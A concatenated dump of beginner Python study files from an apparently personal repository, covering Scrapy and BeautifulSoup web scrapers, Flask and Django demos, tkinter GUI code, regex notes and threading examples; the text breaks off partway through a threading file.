DmozSpider(scrapy.Spider):\n name = \"dmoz\"\n allowed_domains = [\"dmoz.org\"]\n start_urls = [\n \"http://www.dmoz.org/Computers/Programming/Languages/Python/Books/\",\n \"http://www.dmoz.org/Computers/Programming/Languages/Python/Resources/\"\n ]\n\n # def parse(self, response):\n # filename = response.url.split(\"/\")[-2]\n # with open(filename, 'wb') as f:\n # f.write(response.body)\n\n def parse(self, response):\n for sel in response.xpath('//ul/li'):\n title = sel.xpath('a/text()').extract()\n link = sel.xpath('a/@href').extract()\n desc = sel.xpath('text()').extract()\n print title, link, desc\n\"\"\"\n\n\nclass MovieSpider(CrawlSpider):\n name = 'lamp'\n allowed_domains = ['jd.com']\n start_urls = [\n 'https://search.jd.com/Search?keyword=%E5%90%B8%E9%A1%B6%E7%81%AF&enc=utf-8&suggest=1.his.0.0&wq=&pvid=66366f5ebbc248638aa6bc4eecae7867']\n # rules = (\n # Rule(LinkExtractor(allow=(r'https://movie.douban.com/top250\\?start=\\d+.*'))),\n # Rule(LinkExtractor(allow=(r'https://movie.douban.com/subject/\\d+')),\n # callback='parse_item'),\n # )\n\n def parse(self, response):\n item = DmozItem()\n for quote in response.css('ul.gl-warp li'):\n item['name'] = quote.css('div.p-name em::text').getall(),\n item['price'] = quote.css('div.p-price i::text').getall(),\n item['shop'] = quote.css('div.p-shop a::attr(title)').getall()\n yield item\n\n # yield {\n # 'price': quote.css('div.p-price i::text').getall(),\n # 'name': quote.css('div.p-name em::text').getall(),\n # 'shop': quote.css('div.p-shop a::attr(title)').getall()\n # }\n\n # for quote in response.css('.v-fixed li'):\n # yield {\n # 'type': quote.css('a::attr(title)').getall(),\n # }\n # a1 = response.css('div.s-line')[0]\n # for quote in a1.css('ul.J_valueList li'):\n # yield {\n # 'golv': quote.css('a::text').getall()\n # }\n # next_page = response.css('li.next a::attr(\"href\")').get()\n # if next_page is not None:\n # yield response.follow(next_page, self.parse)\n # a2 = response.css('div.s-line')[1]\n # for quote in a2.css('ul.J_valueList li'):\n # yield {\n # 'cct': quote.css('a::text').getall()\n # }\n # a3 = response.css('div.s-line')[2]\n # for quote in a3.css('ul.J_valueList li'):\n # yield {\n # 'dianya': quote.css('a::text').getall()\n # }\n" }, { "alpha_fraction": 0.5846867561340332, "alphanum_fraction": 0.6589326858520508, "avg_line_length": 14.962963104248047, "blob_id": "92bd5c716d6dff9daf048b8d3fb868a3ed8761f8", "content_id": "45f03be4dd3191e45227c77f0b71af222d1c1eed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 431, "license_type": "no_license", "max_line_length": 48, "num_lines": 27, "path": "/Python/setup.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-10-29 10:38:48\n@LastEditors: Yang\n@LastEditTime: 2019-11-01 10:59:49\n@FilePath: /Python/setup.py\n@Description: \n'''\n\"\"\"\nThis is a setup.py script generated by py2applet\n\nUsage:\n python setup.py py2app\n\"\"\"\n\n\nfrom setuptools import setup\nAPP = ['hello.py']\nDATA_FILES = []\nOPTIONS = {}\n\nsetup(\n app=APP,\n data_files=DATA_FILES,\n options={'py2app': OPTIONS},\n setup_requires=['py2app'],\n)\n" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.6842105388641357, "avg_line_length": 17.75, "blob_id": "5d588bddc502b23793af29f26536f0e27e7ecc3f", "content_id": "9e3385b0007b379dadbb0b2799d8e07d317fb417", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 152, "license_type": "no_license", "max_line_length": 34, "num_lines": 8, "path": "/Python/tamps/test.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-10-25 13:48:53\n@LastEditors: Yang\n@LastEditTime: 2019-10-28 15:43:53\n@FilePath: /Python/tamp/test.py\n@Description: \n'''\n\n\n" }, { "alpha_fraction": 0.5816293358802795, "alphanum_fraction": 0.6088932156562805, "avg_line_length": 26.508928298950195, "blob_id": "650d445fafe2485c7d28225591bf0fd8d4c5d70d", "content_id": "e9534cde2320f27e43ec5fe5a06d7075a747432d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3093, "license_type": "no_license", "max_line_length": 145, "num_lines": 112, "path": "/meizi.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-07-03 13:36:04\n@LastEditors: Yang\n@LastEditTime: 2020-07-10 14:48:47\n@FilePath: /python学习/meizi.py\n@Description: 头部注释\n'''\n# from multiprocessing import Pool\n# from multiprocessing import Process\nimport multiprocessing\nimport concurrent\nfrom concurrent.futures import ThreadPoolExecutor\nimport requests\nfrom bs4 import BeautifulSoup\nimport lxml\nimport os\nfrom lxml import etree\n\n\ndef getProxy():\n return {\n 'https': 'https://58.218.92.198:3660',\n }\n\n\ndef getHeaders():\n return {\n \"referer\": \"https://www.mzitu.com\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36\"\n }\n\n\ndef requests_page(url):\n try:\n response = requests.get(\n url=url, headers=getHeaders(), proxies=getProxy())\n if response.status_code == 200:\n return response.text\n except requests.RequestException:\n return None\n\n\ndef getImgUrls(page):\n baseUrl = 'https://www.mzitu.com/page/{}'.format(page)\n html = requests_page(baseUrl)\n # print(html.text)\n soup = BeautifulSoup(html, 'lxml')\n lists = soup.find('ul', id='pins').find_all('li')\n urls = []\n for item in lists:\n url = item.find('a').get('href')\n urls.append(url)\n return urls\n\n\ndef download(url):\n html = requests_page(url)\n print(url)\n soup = BeautifulSoup(html, 'lxml')\n page = soup.find('div', class_='pagenavi').find_all(\n 'a')[-2].find('span').string\n title = soup.find('h2').string\n imgUrl_list = []\n for i in range(int(page)):\n url1 = url+'/{}'.format(i+1)\n html = requests.get(url=url1, headers=getHeaders(), proxies=getProxy())\n # subSoup = BeautifulSoup(html.text, 'lxml')\n root = etree.HTML(html.text)\n # print(response.text)\n imgUrl = root.xpath('//div[@class=\"main-image\"]//img/@src')\n # imgUrl = subSoup.find('main-image').find('img').get('src')\n print(imgUrl)\n imgUrl_list.append(imgUrl)\n # print(imgUrl_list, title)\n downloadImg(imgUrl_list, title)\n\n\ndef downloadImg(img_url_list, title):\n print(img_url_list)\n os.mkdir(title)\n os.chdir(title)\n i = 1\n for item in img_url_list:\n fileName = '%s_%s.jpg' % (title, i)\n print('downloading....%s : NO.%s' % (title, str(i)))\n with open(fileName, 'wb') as f:\n img = requests.get(url=item, headers=getHeaders(),\n proxies=getProxy()).content\n f.write(img)\n i += 1\n\n\ndef download_all_img(urls):\n\n with concurrent.futures.ProcessPoolExecutor(max_workers=5) as exector:\n for url in urls:\n exector.submit(download, url)\n # with Pool(5) as p:\n # p.map(download, urls)\n pool = multiprocessing.Pool(multiprocessing.cpu_count())\n pool.map(download, urls)\n pool.close()\n pool.join()\n # for url in urls:\n # download(url)\n\n\nif __name__ == \"__main__\":\n img_urls = getImgUrls(1)\n print(img_urls)\n download_all_img(img_urls)\n" }, { "alpha_fraction": 0.4833333194255829, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 13.875, "blob_id": "66a6bb30dff56df54eacffeff046eb6ec86cd605", "content_id": "2a22605e844ae9e124706f5ee0131aed89a4be23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 240, "license_type": "no_license", "max_line_length": 37, "num_lines": 16, "path": "/Python/test.js", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "/*\n * @Author: Yang\n * @Date: 2019-11-18 13:15:19\n * @LastEditors: Yang\n * @LastEditTime: 2019-11-18 15:10:57\n * @FilePath: /Python/test.js\n * @Description:\n */\n\nBBB\n\nfunction lampType() {\n var type;\n type = true\n return type;\n}\n\n\n" }, { "alpha_fraction": 0.6443203091621399, "alphanum_fraction": 0.6983240246772766, "avg_line_length": 21.375, "blob_id": "34d36465bf294cb06bdda22354c5e6b0f916af83", "content_id": "5129d0eeedd11e94be685d0af2a0a5bd52830cc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 549, "license_type": "no_license", "max_line_length": 65, "num_lines": 24, "path": "/qiushibaike/qiushibaike/qiushibaike/items.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-22 16:05:32\n@LastEditors: Yang\n@LastEditTime: 2020-07-01 13:14:44\n@FilePath: /python学习/qiushibaike/qiushibaike/qiushibaike/items.py\n@Description: 头部注释\n'''\n# -*- coding: utf-8 -*-\n\n# Define here the models for your scraped items\n#\n# See documentation in:\n# https://docs.scrapy.org/en/latest/topics/items.html\n\nimport scrapy\n\n\nclass QiushibaikeItem(scrapy.Item):\n # define the fields for your item here like:\n # name = scrapy.Field()\n # pass\n title = scrapy.Field()\n author = scrapy.Field()\n" }, { "alpha_fraction": 0.530927836894989, "alphanum_fraction": 0.6048110127449036, "avg_line_length": 26.761905670166016, "blob_id": "24cb83f48982b0c08ddfa5a7f244126bf0d78101", "content_id": "39be77146508783e6f931e38cdda632175448422", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 668, "license_type": "no_license", "max_line_length": 67, "num_lines": 21, "path": "/CSVDemo.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-22 14:07:16\n@LastEditors: Yang\n@LastEditTime: 2020-06-22 14:21:18\n@FilePath: /python学习/CSVDemo.py\n@Description: 头部\n'''\nimport csv\nimport pandas\n\n# with open('zz.csv', mode='w') as csv_file:\n# fileName = ['你是谁', '你几岁', '你多高']\n# writer = csv.DictWriter(csv_file, fileName)\n# writer.writeheader()\n# writer.writerow({'你是谁': 'shabi', '你几岁': '16岁', '你多高': '189'})\n# writer.writerow({'你是谁': 'shabi', '你几岁': '16岁', '你多高': '189'})\n# writer.writerow({'你是谁': 'shabi', '你几岁': '16岁', '你多高': '189'})\n\nzz=pandas.read_csv('zz.csv')\nprint(zz)" }, { "alpha_fraction": 0.6792929172515869, "alphanum_fraction": 0.75, "avg_line_length": 23.75, "blob_id": "92cc10088b26acc8e4264278b4ef2f7978bf8495", "content_id": "b557c35bb2a8499d6cf9f2813f42ffd1da993a95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 412, "license_type": "no_license", "max_line_length": 69, "num_lines": 16, "path": "/index.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-24 14:45:37\n@LastEditors: Yang\n@LastEditTime: 2020-06-24 14:55:15\n@FilePath: /python学习/index.py\n@Description: 头部注释\n'''\nimport requests\nfrom requests_html import HTMLSession\nfrom requests_file import FileAdapter\n\nsession = HTMLSession()\nsession.mount('file://', FileAdapter())\nhtml = session.get(f'file:///Users/yang/Desktop/python学习/index.html')\nprint(html.text)\n" }, { "alpha_fraction": 0.46073299646377563, "alphanum_fraction": 0.5301046967506409, "avg_line_length": 15.608695983886719, "blob_id": "fc09eff9e514299530967f6024730a44a049623d", "content_id": "3a6d227af5c662ed3d34614eabc8a21649fb8eb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1022, "license_type": "no_license", "max_line_length": 44, "num_lines": 46, "path": "/Python/regular.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-11-06 16:09:32\n@LastEditors: Yang\n@LastEditTime: 2019-11-07 09:45:52\n@FilePath: /Python/regular.py\n@Description: \n'''\n\nimport re\n\n\ndef main():\n userName = input('请输入您的用户名:')\n\n # m1 = re.match(r'^/w{6,20}$', userName)\n\n # if not m1:\n # print('请输入有效的用户名')\n\n # qq = input('请输入您的qq账号:')\n # m2 = re.match(r'^[1-9]/d{4,11}&', qq)\n # if not m2:\n # print('请输入有效的QQ号.')\n # if m1 and m2:\n # print('你输入的信息是有效的!')\n m1 = re.match(r'(?>=abc)\\d\\s')\n if m1:\n print(m1)\n\n\nif __name__ == \"__main__\":\n main()\n\n\"\"\"\n . 用来匹配任何单个字符,换行符除外\n [] 匹配字符集合\n \\d 数字字符,等价于[0-9]\n \\D 非数字字符,等价于[^0-9]\n \\w 字母数字下划线,等价于[a-z0-9A-Z_]\n \\W 非数字字母下划线,等价于[^a-z0-9\bA-Z_]\n \\s 空白字符,换行,换页,制表符等,等价于[\\f\\r\\n\\v\\t]\n \\S 非空白字符\n \n\n\"\"\"\n" }, { "alpha_fraction": 0.7655677795410156, "alphanum_fraction": 0.7692307829856873, "avg_line_length": 26.299999237060547, "blob_id": "900048daf68a2e68473e50fb3505b54e8a01e83f", "content_id": "e3d42f8f1ed4e86ca204f3bc944e5d057cc345d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 273, "license_type": "no_license", "max_line_length": 59, "num_lines": 10, "path": "/SeleniumDemo/study_selenium.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "# from selenium.webdriver import Chrome\nfrom selenium import webdriver\nimport time\n\ndriver = webdriver.Chrome(executable_path='./chromedriver')\ndriver.maximize_window()\ndriver.get('https://www.baidu.com')\ntime.sleep(5)\ninput = driver.find_element_by_id('kw')\ndriver.quit()\n" }, { "alpha_fraction": 0.5070695877075195, "alphanum_fraction": 0.6068755388259888, "avg_line_length": 23.053333282470703, "blob_id": "52df9ee486272f0cc97e2dd85f72264e4a389bf4", "content_id": "3d713d2eb5c0e2fb7c873c627b4cc859aa935122", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4713, "license_type": "no_license", "max_line_length": 564, "num_lines": 150, "path": "/study.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: your name\n@Date: 2019-10-11 13:31:19\n@LastEditTime: 2020-06-17 10:10:12\n@LastEditors: Yang\n@Description: In User Settings Edit\n@FilePath: /python学习/study.py\n'''\n#!/usr/bin/env python\n\n\nimport sys\nimport requests\nfrom requests import Request, Session\n# from operator import *\n\n# abs(-6) # 取绝对值\n\n\n# all([1, 0, 3, 6]) # 返回false 有零,不是所有元素都为真\n\n# any([0, 1, 2, 3]) # True,至少有一个元素为真\n\n# bin(10) # 十进制转换成二进制\n# oct(10) # 十进制转转八进制\n# hex(20) # 十进制转十六进制\n\n# bool([1, 2, 3]) # 测试对象是否为真\n\n# chr(66) # 十进制转ASCII\n\n\n# class Student():\n# def __init__(self, ids, name):\n# self.ids = ids\n# self.name = name\n\n# @classmethod\n# def f(cls):\n# print(cls)\n\n\n# s = Student('11', '22')\n# Student.f()\n\n# # s = \"print('Hello World')\"\n\n# # r = compile(s, '<string>', 'exec')\n# # exec(r)\n\n# c = complex(1, 2) # 复数\n# print(c)\n\n# dir(s) # 查看对象所有的方法\n\n# divmod(10, 3) # 取商取余\n\n# ob = ['one', 'two', 'tree', 'four']\n# for i, v in enumerate(ob): # 枚举对象\n# print(i, v)\n\n# t = '1+4+5'\n# print(eval(t)) # 计算表达式\n# b = sys.getsizeof(ob) # 查看对象占用的字节数\n# print(b)\n\n# filter(lambda x: x > 4, [1, 2, 3, 5, 6, 7]) # 过滤器\n\n# print('I am {0}, age {1}'.format('TOM', 22))\n\n# frozenset([1, 2, 3, 4]) # 不可修改的集合\n\n# getattr(s, 'name') # 获取实例属性值\n\n# hasattr(s, 'name') # 是否有这个属性\n\n# hash(s) # 返回对象的哈希值\n\n# id(s) # 返回对象的内存地址\n\n# help(s) # 返回对象的帮助文档\n# a = [1, 4, 3, 2, 1]\n# sorted(a, reverse=True)\n\n# b = [{'name': 'tom', 'age': 17, 'gender': 'male'}, {\n# 'name': 'jerry', 'age': 22, 'gender': 'female'}]\n\n# sorted(a, lambda x: x['age'], reverse=False)\n# x = [1, 2, 3, 4]\n# y = [4, 5, 6]\n# list(zip(y, x))\n# list('qwertyu')\n\n# # gaobal 声明全局变量\n\n\n# def calculator(a, b, k):\n# return {'+': add, '-': sub, '*': mul, '/': truediv, '**': pow}[k](a, b)\n\n\n# calculator(1, 2, '+')\n\n# for i in range(1, 10):\n# for j in range(1, i+1):\n# print('%d*%d=%d' % (j, i, j*i), end=\"\\t\")\n# print()\n\n# request = requests.get('https://api.github.com/repos/psf/requests')\n# print(request.json())\n\n# session = requests.Session()\n# session.get('https://httpbin.org/cookies/set/sessioncookie/123456789')\n# r = session.get('https://httpbin.org/cookies')\n# print(r.text)\n# print(r.headers)\n# Request('POST', 'URL', headers={})\n\n# with requests.get('https://wwww.baidu.com') as response:\n# print(response.status_code)\n\n# 正则表达式\n\n# \\ 将下一个字符标记为特殊字符, 例如\\n匹配换行符, \\\\匹配 \\\n# ^ 匹配输入字符串的开始位置\n# $ 匹配输入字符串的结束位置\n# * 匹配前面的子表达式零次活多次 ,*等价于{0,}\n# + 匹配前面的子表达式一次或者多次,+等价于{1,}\n# ? 匹配前面的子表达式零次或者一次,?等价于{0,1}\n# {n} n是一个非负整数,匹配确定的n次\n# {n,}n是一个非负整数,至少匹配n次\n# {n,m}n,m,均为非负整数,其中n<m,最少匹配n次,最多匹配m次\n# ?当该字符紧跟在任何一个其他重复修饰符(*,+,?,{n},{n,},{n,m})后面是,匹配的是非贪婪的,非贪婪模式尽可能少的匹配所搜索的字符串\n# . 匹配除 \\n, \\r外的任意单个字符,若要匹配 \\n,\\r请使用 .|\\n|\\r\n# \\b 匹配一个单词的边界\n# \\B 匹配非单词边界\n# \\d 匹配一个数字字符,等价于[0-9]\n# \\D 匹配一个非数字字符,等价于[^0-9]\n# [a-z] 匹配从a-z的返回内任意小写字符\n# [^a-z]匹配除从a-z的返回的任意字符\n# \\f匹配一个换页符\n# \\n匹配一个换行符\n# \\r匹配一个回车键\n# \\s匹配任何空白字符,包括空格,制表符,换页符等,等价于[\\f\\r\\n\\t\\v]\n# \\S 匹配任何非空白字符\n# \\t 匹配制表符\n# \\v匹配一个垂直制表符\n# \\w 匹配包括下划线的任何单词字符,等价于[a-zA-Z0-9_]\n# \\W 匹配任何非单词字符,等价于[^A-Za-z0-9_]\n\n# bid=XahgAuOFM5k; douban-fav-remind=1; __gads=ID=a0f3d15f787e6989:T=1584428170:S=ALNI_Mb9uGcX1In51-F-wEpvH08_7NbXwA; __utmc=30149280; __utmz=30149280.1584428173.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic; __utma=30149280.1568182175.1584428173.1586856761.1592295402.3; __utma=223695111.2082845409.1592295402.1592295402.1592295402.1; __utmc=223695111; __utmz=223695111.1592295402.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ap_v=0,6.0; __yadk_uid=0sK9RiWMlB8NbzG8cOE1FvoIkKwdvHSc; _pk_id.100001.4cf6=3f4cfc31eeedc652.1592295402.1.1592296805.1592295402." }, { "alpha_fraction": 0.5273972749710083, "alphanum_fraction": 0.5662100315093994, "avg_line_length": 23.676055908203125, "blob_id": "3e7456cee1098005180fba9990fc8b9fab45feeb", "content_id": "d89d528199ba5b5abd48f8c6ece3c91820f7c6d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2068, "license_type": "no_license", "max_line_length": 74, "num_lines": 71, "path": "/Python/demo.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-10-31 17:15:32\n@LastEditors: Yang\n@LastEditTime: 2019-10-31 17:27:00\n@FilePath: /Python/demo.py\n@Description: \n'''\n\nfrom tkinter import *\nimport tkinter.messagebox\n\nimport tkinter\nimport os\nimport sys\nimport stat\n\n\nclass App:\n\n def __init__(self, master):\n self.master = master\n self.initWidgets()\n\n def initWidgets(self):\n # 创建第一个容器\n fm1 = Frame(self.master,)\n # 该容器放在左边排列\n fm1.pack(pady=30)\n # 向fm1中添加3个按钮\n # 设置按钮从顶部开始排列,且按钮只能在垂直(X)方向填充\n Label(fm1, text='请输入设备的model:',).pack(side=LEFT,)\n e = Entry(fm1,)\n e.pack(side=LEFT)\n var = tkinter.StringVar()\n # 创建第二个容器\n fm2 = Frame(self.master)\n # 该容器放在左边排列,就会挨着fm1\n fm2.pack(side=TOP, pady=10, expand=YES)\n # 向fm2中添加3个按钮\n # 设置按钮从右边开始排列\n Label(fm2, text=\"请选择设备类型:\").pack()\n Radiobutton(fm2, text='bright ', variable=var,\n value='1', ).pack(side=LEFT)\n Radiobutton(fm2, text='brightCCT ', variable=var, value='2',\n ).pack(side=LEFT)\n Radiobutton(fm2, text='brightCctColor ', variable=var, value='3',\n ).pack(side=LEFT)\n # 创建第三个容器\n fm3 = Frame(self.master)\n # 该容器放在右边排列,就会挨着fm1\n fm3.pack(side=BOTTOM, pady=20, fill=Y, expand=NO)\n # 向fm3中添加3个按钮\n # 设置按钮从底部开始排列,且按钮只能在垂直(Y)方向填充\n\n def print_selection():\n # print(e.get(), var.get())\n a = e.get()\n b = var.get()\n\n b3 = Button(fm3, text='执行', width=\"10\", command=print_selection)\n b3.pack(side=LEFT, fill=Y, expand=NO)\n\n\nroot = Tk()\nroot.title(\"Package\")\nroot.geometry('840x400')\n\n\ndisplay = App(root)\nroot.mainloop()\n" }, { "alpha_fraction": 0.652046799659729, "alphanum_fraction": 0.7339181303977966, "avg_line_length": 20.375, "blob_id": "98c614c36213cf1a171f22aec824ca0cc5a58f6f", "content_id": "3b43938cea304203584e3a5381fe0908bb2f9fa1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 342, "license_type": "no_license", "max_line_length": 67, "num_lines": 16, "path": "/mysite/polls/views.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-10-28 09:58:23\n@LastEditors: Yang\n@LastEditTime: 2019-10-28 09:59:52\n@FilePath: /mysite/polls/views.py\n@Description: \n'''\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom django.http import HttpResponse\n\n\ndef index(request):\n return HttpResponse(\"Hello, world. You're at the polls index.\")\n" }, { "alpha_fraction": 0.5554332137107849, "alphanum_fraction": 0.596182107925415, "avg_line_length": 33.04999923706055, "blob_id": "3dad345cb013163bd9946b787ffeb089893560a5", "content_id": "57c3b374339a3cbb21915fcb6df4765095509718", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2882, "license_type": "no_license", "max_line_length": 151, "num_lines": 80, "path": "/douban.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-16 16:18:21\n@LastEditors: Yang\n@LastEditTime: 2020-06-18 13:59:52\n@FilePath: /python学习/douban.py\n@Description: 头部注释\n'''\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport lxml\nimport json\nimport xlwt\nimport multiprocessing\n\nn = 1\n\n\ndef main(url):\n header = {\"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\",\n \"Host\": \"movie.douban.com\",\n \"Referer\": \"https://movie.douban.com/top250?start=0&filter=\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36\"}\n # url = 'https://movie.douban.com/top250?start=' + str(page*25)+'&filter='\n html = request_douban(url, header)\n soup = BeautifulSoup(html, 'lxml')\n # lists = soup.select('ol.grid_view li')\n # for item in lists:\n # print(item.select('.hd span')[0].string)\n list = soup.find(class_='grid_view').find_all('li')\n book = xlwt.Workbook(encoding='utf-8', style_compression=0)\n sheet = book.add_sheet('豆瓣电影TOP250', cell_overwrite_ok=True)\n sheet.write(0, 0, '名称')\n sheet.write(0, 1, '图片')\n sheet.write(0, 2, '排名')\n sheet.write(0, 3, '评分')\n sheet.write(0, 4, '作者')\n sheet.write(0, 5, '简介')\n for item in list:\n item_name = item.find(class_='title').string\n item_img = item.find('a').find('img').get('src')\n item_index = item.find(class_='').string\n item_score = item.find(class_='rating_num').string\n item_author = item.find('p').text\n item_intr = item.find(class_='inq').string\n print('爬取电影:' + item_index + ' | ' + item_name + ' | ' + item_img +\n ' | ' + item_score + ' | ' + item_author + ' | ' + item_intr)\n global n\n sheet.write(n, 0, item_name)\n sheet.write(n, 1, item_img)\n sheet.write(n, 2, item_index)\n sheet.write(n, 3, item_score)\n sheet.write(n, 4, item_author)\n sheet.write(n, 5, item_intr)\n n = n+1\n book.save(u'豆瓣最受欢迎的250部电影.xlsx')\n\n\ndef request_douban(url, header):\n try:\n response = requests.get(url=url, headers=header)\n if response.status_code == 200:\n return response.text\n except requests.RequestException:\n return None\n\n\n#\nif __name__ == \"__main__\":\n pool = multiprocessing.Pool(\n multiprocessing.cpu_count) # 根据电脑的cpu内核数量创建相应的线程池\n urls = []\n for i in range(0, 10):\n url = 'https://movie.douban.com/top250?start=' + \\\n str(i * 25) + '&filter='\n urls.append(url)\n pool.map(main, urls)\n pool.close() # 让它不再创建进程\n pool.join() # 为的是让进程池的进程执行完毕再结束\n" }, { "alpha_fraction": 0.5880654454231262, "alphanum_fraction": 0.6044273376464844, "avg_line_length": 20.87368392944336, "blob_id": "2b26a977807a52a2d40a02c73e5282fa9609eb93", "content_id": "7cfd411819dbe04143d3e8b57fae58dfb28e5e11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2102, "license_type": "no_license", "max_line_length": 94, "num_lines": 95, "path": "/Python/flaskDemo.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "from flask import Flask, escape, url_for\nfrom flask import request, render_template\n'''\n@Author: Yang\n@Date: 2019-10-31 10:41:12\n@LastEditors: Yang\n@LastEditTime: 2019-10-31 16:55:33\n@FilePath: /Python/flask.py\n@Description:\n'''\nfrom flask import Flask\nfrom flask import request\n\napp = Flask(__name__)\n\n\"\"\"\[email protected]('/', methods=['GET', 'POST'])\ndef home():\n return '<h1>Home</h1>'\n\n\[email protected]('/signin', methods=['GET'])\ndef signin_form():\n return '''<form action=\"/signin\" method=\"post\">\n <p><input name=\"username\"></p>\n <p><input name=\"password\" type=\"password\"></p>\n <p><button type=\"submit\">Sign In</button></p>\n </form>'''\n\n\[email protected]('/signin', methods=['POST'])\ndef signin():\n # 需要从request对象读取表单内容:\n if request.form['username'] == 'admin' and request.form['password'] == 'password':\n return '<h3>Hello, admin!</h3>'\n return '<h3>Bad username or password.</h3>'\n\n\nif __name__ == '__main__':\n app.run()\n\n\"\"\"\n\n\[email protected]('/', methods=['GET', 'POST'])\ndef home():\n return render_template('home.html')\n\n\[email protected]('/signin', methods=['GET'])\ndef signin_form():\n return render_template('form.html', message=\"HAHAHA\")\n\n\[email protected]('/signin', methods=['POST'])\ndef signin():\n username = request.form['username']\n password = request.form['password']\n if username == 'admin' and password == 'password':\n return render_template('signin-ok.html', username=username)\n return render_template('form.html', message='Bad username or password', username=username)\n\n\nif __name__ == '__main__':\n app.run()\n\n\n\"\"\"\napp = Flask(__name__)\n\n\[email protected]('/')\ndef index():\n return 'index'\n\n\[email protected]('/login')\ndef login():\n return 'login'\n\n\[email protected]('/user/<username>')\ndef profile(username):\n return '{}\\'s profile'.format(escape(username))\n\n\nwith app.test_request_context():\n print(url_for('index'))\n print(url_for('login'))\n print(url_for('login', next='/'))\n print(url_for('profile', username='John Doe'))\n\nif __name__ == \"__main__\":\n app.run()\n\"\"\"\n" }, { "alpha_fraction": 0.5703125, "alphanum_fraction": 0.6796875, "avg_line_length": 16.066667556762695, "blob_id": "9f32da4528494b6bd5b00d33df7f58f0457229fa", "content_id": "11457440a545e3a34e55485891ea8bb4327ed8f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 256, "license_type": "no_license", "max_line_length": 40, "num_lines": 15, "path": "/OA/hrs/url.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2019-10-30 17:27:56\n@LastEditors: Yang\n@LastEditTime: 2019-10-30 17:29:50\n@FilePath: /oa/hrs/url.py\n@Description: \n'''\nfrom django.urls import path\n\nfrom hrs import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n]\n" }, { "alpha_fraction": 0.5444270968437195, "alphanum_fraction": 0.5666406750679016, "avg_line_length": 22.117116928100586, "blob_id": "29ce9ad40df42a103689753bc512ca7fcfbbbe9c", "content_id": "ebfa3fde35ba943a99f4cbc0d8797245e6897496", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2642, "license_type": "no_license", "max_line_length": 80, "num_lines": 111, "path": "/ThreadDemo.py", "repo_name": "devYoungyang/Python-Study", "src_encoding": "UTF-8", "text": "'''\n@Author: Yang\n@Date: 2020-06-17 16:32:42\n@LastEditors: Yang\n@LastEditTime: 2020-07-07 14:08:43\n@FilePath: /python学习/ThreadDemo.py\n@Description: 头部注释\n'''\nimport _thread\nimport random\nimport concurrent\nfrom queue import Queue\nfrom concurrent.futures import ThreadPoolExecutor\nimport time\nimport threading\nfrom multiprocessing import Process\nfrom multiprocessing import Pool\n\nimport multiprocessing\n# class MyThread(threading.Thread):\n# def __init__(self, threadID, name, delay):\n# threading.Thread.__init__(self)\n# self.threadID = threadID\n# self.name = name\n# self.delay = delay\n\n# def run(self):\n# print('开启线程:' + self.name)\n# moyu_time(self.name, self.delay, 10)\n# print('结束线程:' + self.name)\n\n\n# def moyu_time(name, delay, 